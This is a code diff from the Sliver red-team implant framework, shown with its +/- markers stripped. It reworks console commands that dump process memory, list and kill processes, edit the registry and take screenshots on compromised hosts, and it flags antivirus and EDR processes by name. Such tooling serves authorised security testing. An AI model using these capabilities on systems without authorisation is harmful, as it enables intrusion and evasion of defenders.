"google.golang.org/protobuf/proto"
)
// ProcdumpCmd - Dump the memory of a remote process
func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
pid := ctx.Flags.Int("pid")
name := ctx.Flags.String("name")
saveTo := ctx.Flags.String("save")
if pid == -1 && name != "" {
pid = GetPIDByName(ctx, name, con)
@@ -66,13 +70,52 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
hostname := session.Hostname
tmpFileName := path.Base(fmt.Sprintf("procdump_%s_%d_*", hostname, pid))
tmpFile, err := ioutil.TempFile("", tmpFileName)
if err != nil {
con.PrintErrorf("Error creating temporary file: %v\n", err)
return
hostname := getHostname(session, beacon)
if dump.Response != nil && dump.Response.Async {
con.AddBeaconCallback(dump.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, dump)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintProcessDump(dump, saveTo, hostname, pid, con)
})
con.PrintAsyncResponse(dump.Response)
} else {
PrintProcessDump(dump, saveTo, hostname, pid, con)
}
tmpFile.Write(dump.GetData())
con.PrintInfof("Process dump stored in: %s\n", tmpFile.Name())
}
// PrintProcessDump - Handle the results of a process dump
func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string, pid int, con *console.SliverConsoleClient) {
var err error
var saveToFile *os.File
if saveTo == "" {
tmpFileName := filepath.Base(fmt.Sprintf("procdump_%s_%d_*", hostname, pid))
saveToFile, err = ioutil.TempFile("", tmpFileName)
if err != nil {
con.PrintErrorf("Error creating temporary file: %s\n", err)
return
}
} else {
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 600)
if err != nil {
con.PrintErrorf("Error creating file: %s\n", err)
return
}
}
defer saveToFile.Close()
saveToFile.Write(dump.GetData())
con.PrintInfof("Process dump stored in: %s\n", saveToFile.Name())
}
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.Hostname
}
if beacon != nil {
return beacon.Hostname
}
return ""
}
+112 -80
View File
@@ -19,42 +19,39 @@ package processes
*/
import (
"bytes"
"context"
"fmt"
"strings"
"text/tabwriter"
// "time"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"google.golang.org/protobuf/proto"
)
var (
// Stylizes known processes in the `ps` command
knownProcs = map[string]string{
"ccSvcHst.exe": console.Red, // SEP
"cb.exe": console.Red, // Carbon Black
"MsMpEng.exe": console.Red, // Windows Defender
"smartscreen.exe": console.Red, // Windows Defender Smart Screen
knownSecurityTools = map[string]string{
"ccSvcHst.exe": console.Red, // SEP
"cb.exe": console.Red, // Carbon Black
"MsMpEng.exe": console.Red, // Windows Defender
"smartscreen.exe": console.Red, // Windows Defender Smart Screen
"bdservicehost.exe": console.Red, // Bitdefender (Total Security)
"bdagent.exe": console.Red, // Bitdefender (Total Security)
"bdredline.exe": console.Red, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
}
)
// PsCmd - List processes on the remote system
func PsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
pidFilter := ctx.Flags.Int("pid")
exeFilter := ctx.Flags.String("exe")
ownerFilter := ctx.Flags.String("owner")
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
@@ -62,91 +59,116 @@ func PsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
os := getOS(session, beacon)
if ps.Response != nil && ps.Response.Async {
con.AddBeaconCallback(ps.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, ps)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintPS(os, ps, false, ctx, con)
})
con.PrintAsyncResponse(ps.Response)
} else {
PrintPS(os, ps, true, ctx, con)
}
}
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', tabwriter.DiscardEmptyColumns)
func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.OS
} else if beacon != nil {
return beacon.OS
}
return ""
}
switch session.GetOS() {
// PrintPS - Prints the process list
func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context, con *console.SliverConsoleClient) {
pidFilter := ctx.Flags.Int("pid")
exeFilter := ctx.Flags.String("exe")
ownerFilter := ctx.Flags.String("owner")
overflow := ctx.Flags.Bool("overflow")
skipPages := ctx.Flags.Int("skip-pages")
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
switch os {
case "windows":
fmt.Fprintf(table, "pid\tppid\towner\texecutable\tsession\n")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("pid")),
strings.Repeat("=", len("ppid")),
strings.Repeat("=", len("owner")),
strings.Repeat("=", len("executable")),
strings.Repeat("=", len("session")),
)
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable", "session"})
case "darwin":
fallthrough
case "linux":
fmt.Fprintf(table, "pid\tppid\towner\texecutable\t\n")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("pid")),
strings.Repeat("=", len("ppid")),
strings.Repeat("=", len("owner")),
strings.Repeat("=", len("executable")),
)
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable"})
default:
fmt.Fprintf(table, "pid\tppid\towner\texecutable\t\n")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("pid")),
strings.Repeat("=", len("ppid")),
strings.Repeat("=", len("owner")),
strings.Repeat("=", len("executable")),
)
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable"})
}
cmdLine := ctx.Flags.Bool("print-cmdline")
lineColors := []string{}
for _, proc := range ps.Processes {
var lineColor = ""
if pidFilter != -1 && proc.Pid == int32(pidFilter) {
lineColor = printProcInfo(table, proc, cmdLine, con)
}
if exeFilter != "" && strings.HasPrefix(proc.Executable, exeFilter) {
lineColor = printProcInfo(table, proc, cmdLine, con)
}
if ownerFilter != "" && strings.HasPrefix(proc.Owner, ownerFilter) {
lineColor = printProcInfo(table, proc, cmdLine, con)
}
if pidFilter == -1 && exeFilter == "" && ownerFilter == "" {
lineColor = printProcInfo(table, proc, cmdLine, con)
}
// Should be set to normal/green if we rendered the line
if lineColor != "" {
lineColors = append(lineColors, lineColor)
}
}
table.Flush()
for index, line := range strings.Split(outputBuf.String(), "\n") {
if len(line) == 0 {
if pidFilter != -1 && proc.Pid != int32(pidFilter) {
continue
}
// We need to account for the two rows of column headers
if 0 < len(line) && 2 <= index {
lineColor := lineColors[index-2]
con.Printf("%s%s%s\n", lineColor, line, console.Normal)
} else {
con.Printf("%s\n", line)
if exeFilter != "" && !strings.Contains(strings.ToLower(proc.Executable), strings.ToLower(exeFilter)) {
continue
}
if ownerFilter != "" && !strings.Contains(strings.ToLower(proc.Owner), strings.ToLower(ownerFilter)) {
continue
}
procRow(tw, proc, cmdLine, con)
}
tw.SortBy([]table.SortBy{
{Name: "pid", Mode: table.Asc},
{Name: "ppid", Mode: table.Asc},
})
settings.PaginateTable(tw, skipPages, overflow, interactive, con)
}
// printProcInfo - Stylizes the process information
func printProcInfo(table *tabwriter.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverConsoleClient) string {
// procRow - Stylizes the process information
func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
color := console.Normal
if modifyColor, ok := knownProcs[proc.Executable]; ok {
if modifyColor, ok := knownSecurityTools[proc.Executable]; ok {
color = modifyColor
}
session := con.ActiveTarget.GetSessionInteractive()
if session != nil && proc.Pid == session.PID {
color = console.Green
}
if beacon != nil && proc.Pid == beacon.PID {
color = console.Green
}
var row table.Row
switch session.GetOS() {
case "windows":
fmt.Fprintf(table, "%d\t%d\t%s\t%s\t%d\t\n", proc.Pid, proc.Ppid, proc.Owner, proc.Executable, proc.SessionID)
if cmdLine {
var args string
if len(proc.CmdLine) >= 1 {
args = strings.Join(proc.CmdLine, " ")
} else {
args = proc.Executable
}
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, args),
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
}
} else {
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
}
}
case "darwin":
fallthrough
case "linux":
@@ -159,12 +181,22 @@ func printProcInfo(table *tabwriter.Writer, proc *commonpb.Process, cmdLine bool
} else {
args = proc.Executable
}
fmt.Fprintf(table, "%d\t%d\t%s\t%s\t\n", proc.Pid, proc.Ppid, proc.Owner, args)
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, args),
}
} else {
fmt.Fprintf(table, "%d\t%d\t%s\t%s\t\n", proc.Pid, proc.Ppid, proc.Owner, proc.Executable)
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
}
}
}
return color
tw.AppendRow(row)
}
// GetPIDByName - Get a PID by name from the active session
+22 -3
View File
@@ -22,8 +22,10 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// TerminateCmd - Terminate a process on the remote system
@@ -39,10 +41,27 @@ func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Pid: int32(pid),
Force: ctx.Flags.Bool("force"),
})
if err != nil {
con.PrintErrorf("%s\n", err)
if terminated.Response != nil && terminated.Response.Async {
con.AddBeaconCallback(terminated.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, terminated)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintTerminate(terminated, con)
})
con.PrintAsyncResponse(terminated.Response)
} else {
PrintTerminate(terminated, con)
}
}
// PrintTerminate - Print the results of the terminate command
func PrintTerminate(terminated *sliverpb.Terminate, con *console.SliverConsoleClient) {
if terminated.Response != nil && terminated.Response.GetErr() != "" {
con.PrintErrorf("%s\n", terminated.Response.GetErr())
} else {
con.PrintInfof("Process %d has been terminated\n", terminated.Pid)
}
}
+26 -20
View File
@@ -19,15 +19,15 @@ package reaction
*/
import (
"bytes"
"fmt"
"strings"
"text/tabwriter"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/core"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// ReactionCmd - Manage reactions to events
@@ -36,6 +36,9 @@ func ReactionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
for _, eventType := range core.ReactableEvents {
reactions := core.Reactions.On(eventType)
if 0 < len(reactions) {
if totalReactions != 0 {
con.Printf("\n") // Add newline between each table after the first
}
displayReactionsTable(eventType, reactions, con)
}
totalReactions += len(reactions)
@@ -46,25 +49,25 @@ func ReactionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
func displayReactionsTable(eventType string, reactions []core.Reaction, con *console.SliverConsoleClient) {
// Title
con.Printf("%s%s%s\n", console.Bold, EventTypeToTitle(eventType), console.Normal)
// Table
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
fmt.Fprintf(table, "ID\tCommands\t\n")
fmt.Fprintf(table, "%s\t%s\t\n",
strings.Repeat("=", len("ID")),
strings.Repeat("=", len("Commands")),
)
for _, react := range reactions {
fmt.Fprintf(table, "%d\t%s\t\n",
react.ID, strings.Join(react.Commands, ","),
)
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(fmt.Sprintf(console.Bold+"%s"+console.Normal, EventTypeToTitle(eventType)))
tw.AppendSeparator()
slackSpace := len(EventTypeToTitle(eventType)) - len("Commands") - len("ID") - 3
if slackSpace < 0 {
slackSpace = 1
}
table.Flush()
con.Printf("%s", outputBuf.String())
tw.AppendHeader(table.Row{
"ID",
"Commands" + strings.Repeat(" ", slackSpace), // Leave space for title
})
for _, react := range reactions {
tw.AppendRow(table.Row{
react.ID,
strings.Join(react.Commands, ","),
})
}
con.Printf("%s\n", tw.Render())
}
// EventTypeToTitle - Convert an eventType to a more human friendly string
@@ -78,6 +81,9 @@ func EventTypeToTitle(eventType string) string {
case consts.SessionUpdateEvent:
return "Session Updated"
case consts.BeaconRegisteredEvent:
return "Beacon Registered"
case consts.CanaryEvent:
return "Canary Trigger"
+1 -1
View File
@@ -29,7 +29,7 @@ import (
// ReactionSaveCmd - Manage reactions to events
func ReactionReloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if _, err := os.Stat(GetReactionFilePath()); os.IsNotExist(err) {
con.PrintWarnf("Missing reaction file %s\n", GetReactionFilePath())
con.PrintErrorf("Missing reaction file %s\n", GetReactionFilePath())
return
}
confirm := false
+1 -1
View File
@@ -47,7 +47,7 @@ func ReactionUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Println()
con.PrintInfof("Successfully removed reaction with id %d", reactionID)
} else {
con.PrintWarnf("No reaction found with id %d", reactionID)
con.PrintErrorf("No reaction found with id %d", reactionID)
}
con.Println()
}
+40 -6
View File
@@ -23,14 +23,21 @@ import (
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// RegCreateKeyCmd - Create a new Windows registry key
func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSession()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
targetOS := getOS(session, beacon)
if targetOS != "windows" {
con.PrintErrorf("Registry operations can only target Windows\n")
return
}
@@ -60,22 +67,49 @@ func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
finalPath := regPath[:pathBaseIdx]
key := regPath[pathBaseIdx+1:]
createKeyResp, err := con.Rpc.RegistryCreateKey(context.Background(), &sliverpb.RegistryCreateKeyReq{
createKey, err := con.Rpc.RegistryCreateKey(context.Background(), &sliverpb.RegistryCreateKeyReq{
Hive: hive,
Path: finalPath,
Key: key,
Hostname: hostname,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if createKeyResp.Response != nil && createKeyResp.Response.Err != "" {
con.PrintErrorf("%s", createKeyResp.Response.Err)
if createKey.Response != nil && createKey.Response.Async {
con.AddBeaconCallback(createKey.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, createKey)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintCreateKey(createKey, finalPath, key, con)
})
con.PrintAsyncResponse(createKey.Response)
} else {
PrintCreateKey(createKey, finalPath, key, con)
}
}
// PrintCreateKey - Print the results of the crate key command
func PrintCreateKey(createKey *sliverpb.RegistryCreateKey, regPath string, key string, con *console.SliverConsoleClient) {
if createKey.Response != nil && createKey.Response.Err != "" {
con.PrintErrorf("%s", createKey.Response.Err)
return
}
con.PrintInfof("Key created at %s\\%s", regPath, key)
}
func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.OS
}
if beacon != nil {
return beacon.OS
}
panic("no session or beacon")
}
+74 -15
View File
@@ -1,50 +1,93 @@
package registry
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// RegListSubKeysCmd - List sub registry keys
func RegListSubKeysCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
targetOS := getOS(session, beacon)
if targetOS != "windows" {
con.PrintErrorf("Registry operations can only target Windows\n")
return
}
path := ctx.Args.String("registry-path")
regPath := ctx.Args.String("registry-path")
hive := ctx.Flags.String("hive")
hostname := ctx.Flags.String("hostname")
regList, err := con.Rpc.RegistryListSubKeys(context.Background(), &sliverpb.RegistrySubKeyListReq{
Hive: hive,
Hostname: hostname,
Path: path,
Path: regPath,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
con.PrintErrorf("%s\n", err)
return
}
if regList.Response != nil && regList.Response.Async {
con.AddBeaconCallback(regList.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, regList)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintListSubKeys(regList, hive, regPath, con)
})
con.PrintAsyncResponse(regList.Response)
} else {
PrintListSubKeys(regList, hive, regPath, con)
}
}
// PrintListSubKeys - Print the list sub keys command result
func PrintListSubKeys(regList *sliverpb.RegistrySubKeyList, hive string, regPath string, con *console.SliverConsoleClient) {
if regList.Response != nil && regList.Response.Err != "" {
con.PrintErrorf("Error: %s\n", regList.Response.Err)
con.PrintErrorf("%s\n", regList.Response.Err)
return
}
if len(regList.Subkeys) > 0 {
con.PrintInfof("Sub keys under %s:\\%s:\n", hive, path)
if 0 < len(regList.Subkeys) {
con.PrintInfof("Sub keys under %s:\\%s:\n", hive, regPath)
}
for _, subKey := range regList.Subkeys {
con.Println(subKey)
}
}
// RegListValuesCmd - List registry values
func RegListValuesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -58,17 +101,33 @@ func RegListValuesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Path: regPath,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
con.PrintErrorf("%s\n", err)
return
}
if regList.Response != nil && regList.Response.Async {
con.AddBeaconCallback(regList.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, regList)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintListValues(regList, hive, regPath, con)
})
con.PrintAsyncResponse(regList.Response)
} else {
PrintListValues(regList, hive, regPath, con)
}
}
// PrintListValues - Print the registry list values
func PrintListValues(regList *sliverpb.RegistryValuesList, hive string, regPath string, con *console.SliverConsoleClient) {
if regList.Response != nil && regList.Response.Err != "" {
con.PrintErrorf("Error: %s\n", regList.Response.Err)
con.PrintErrorf("%s\n", regList.Response.Err)
return
}
if len(regList.ValueNames) > 0 {
if 0 < len(regList.ValueNames) {
con.PrintInfof("Values under %s:\\%s:\n", hive, regPath)
}
for _, val := range regList.ValueNames {
+25 -5
View File
@@ -24,8 +24,10 @@ import (
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
var validHives = []string{
@@ -76,12 +78,13 @@ func RegReadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
finalPath string
key string
)
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
if session.OS != "windows" {
con.PrintErrorf("Command not supported on this operating system.")
targetOS := getOS(session, beacon)
if targetOS != "windows" {
con.PrintErrorf("Registry operations can only target Windows\n")
return
}
@@ -112,6 +115,7 @@ func RegReadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
finalPath = regPath[:pathBaseIdx]
key = regPath[pathBaseIdx+1:]
regRead, err := con.Rpc.RegistryRead(context.Background(), &sliverpb.RegistryReadReq{
Hive: hive,
Path: finalPath,
@@ -119,12 +123,28 @@ func RegReadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Hostname: hostname,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if regRead.Response != nil && regRead.Response.Async {
con.AddBeaconCallback(regRead.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, regRead)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintRegRead(regRead, con)
})
con.PrintAsyncResponse(regRead.Response)
} else {
PrintRegRead(regRead, con)
}
}
// PrintRegRead - Print the results of the registry read command
func PrintRegRead(regRead *sliverpb.RegistryRead, con *console.SliverConsoleClient) {
if regRead.Response != nil && regRead.Response.Err != "" {
con.PrintErrorf("%s\n", regRead.Response.Err)
return
+25 -5
View File
@@ -26,18 +26,21 @@ import (
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// RegWriteCmd - Write to a Windows registry key: registry write --hive HKCU --type dword "software\google\chrome\blbeacon\hello" 32
func RegWriteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
if session.OS != "windows" {
con.PrintErrorf("Error: command not supported on this operating system.")
targetOS := getOS(session, beacon)
if targetOS != "windows" {
con.PrintErrorf("Registry operations can only target Windows\n")
return
}
@@ -134,11 +137,28 @@ func RegWriteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
QWordValue: qwordValue,
ByteValue: binaryValue,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if regWrite.Response != nil && regWrite.Response.Async {
con.AddBeaconCallback(regWrite.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, regWrite)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintRegWrite(regWrite, con)
})
con.PrintAsyncResponse(regWrite.Response)
} else {
PrintRegWrite(regWrite, con)
}
}
// PrintRegWrite - Print the registry write operation
func PrintRegWrite(regWrite *sliverpb.RegistryWrite, con *console.SliverConsoleClient) {
if regWrite.Response != nil && regWrite.Response.Err != "" {
con.PrintErrorf("%s", regWrite.Response.Err)
return
+71 -14
View File
@@ -22,25 +22,30 @@ import (
"context"
"fmt"
"io/ioutil"
"path"
"os"
"path/filepath"
"time"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// ScreenshotCmd - Take a screenshot of the remote system
func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
if session.OS != "windows" && session.OS != "linux" {
con.PrintErrorf("Not implemented for %s\n", session.OS)
targetOS := getOS(session, beacon)
if targetOS != "windows" && targetOS != "linux" {
con.PrintWarnf("Target platform may not support screenshots!\n")
return
}
@@ -52,22 +57,54 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
timestamp := time.Now().Format("20060102150405")
tmpFileName := path.Base(fmt.Sprintf("screenshot_%s_%d_%s_*.png", session.Name, session.ID, timestamp))
tmpFile, err := ioutil.TempFile("", tmpFileName)
if err != nil {
con.PrintErrorf("%s\n", err)
return
hostname := getHostname(session, beacon)
if screenshot.Response != nil && screenshot.Response.Async {
con.AddBeaconCallback(screenshot.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, screenshot)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintScreenshot(screenshot, hostname, ctx, con)
})
con.PrintAsyncResponse(screenshot.Response)
} else {
PrintScreenshot(screenshot, hostname, ctx, con)
}
err = ioutil.WriteFile(tmpFile.Name(), screenshot.Data, 0600)
}
// PrintScreenshot - Handle the screenshot command response
func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
timestamp := time.Now().Format("20060102150405")
saveTo := ctx.Flags.String("save")
var saveToFile *os.File
var err error
if saveTo == "" {
tmpFileName := filepath.Base(fmt.Sprintf("screenshot_%s_%s_*.png", filepath.Base(hostname), timestamp))
saveToFile, err = ioutil.TempFile("", tmpFileName)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
} else {
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 600)
if err != nil {
con.PrintErrorf("Error creating file: %s\n", err)
return
}
}
defer saveToFile.Close()
var n int
n, err = saveToFile.Write(screenshot.Data)
if err != nil {
con.PrintErrorf("Error writting file: %s\n", err)
return
}
con.Printf(console.Bold+"Screenshot written to %s\n", tmpFile.Name())
con.PrintInfof("Screenshot written to %s (%s)\n", saveToFile.Name(), util.ByteCountBinary(int64(n)))
if ctx.Flags.Bool("loot") && 0 < len(screenshot.Data) {
err = loot.AddLootFile(con.Rpc, fmt.Sprintf("[screenshot] %s", timestamp), tmpFileName, screenshot.Data, false)
err = loot.AddLootFile(con.Rpc, fmt.Sprintf("[screenshot] %s", timestamp), saveToFile.Name(), screenshot.Data, false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
@@ -75,3 +112,23 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
}
func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.OS
}
if beacon != nil {
return beacon.OS
}
panic("no session or beacon")
}
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.Hostname
}
if beacon != nil {
return beacon.Hostname
}
panic("no session or beacon")
}
+112
View File
@@ -0,0 +1,112 @@
package sessions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"time"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// InteractiveCmd - Beacon only command to open an interactive session
func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
beacon := con.ActiveTarget.GetBeaconInteractive()
if beacon == nil {
return
}
delay, err := time.ParseDuration(ctx.Flags.String("delay"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
c2s := []*clientpb.ImplantC2{}
mtlsC2, err := generate.ParseMTLSc2(ctx.Flags.String("mtls"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
c2s = append(c2s, mtlsC2...)
wgC2, err := generate.ParseWGc2(ctx.Flags.String("wg"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
c2s = append(c2s, wgC2...)
httpC2, err := generate.ParseHTTPc2(ctx.Flags.String("http"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
c2s = append(c2s, httpC2...)
dnsC2, err := generate.ParseDNSc2(ctx.Flags.String("dns"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
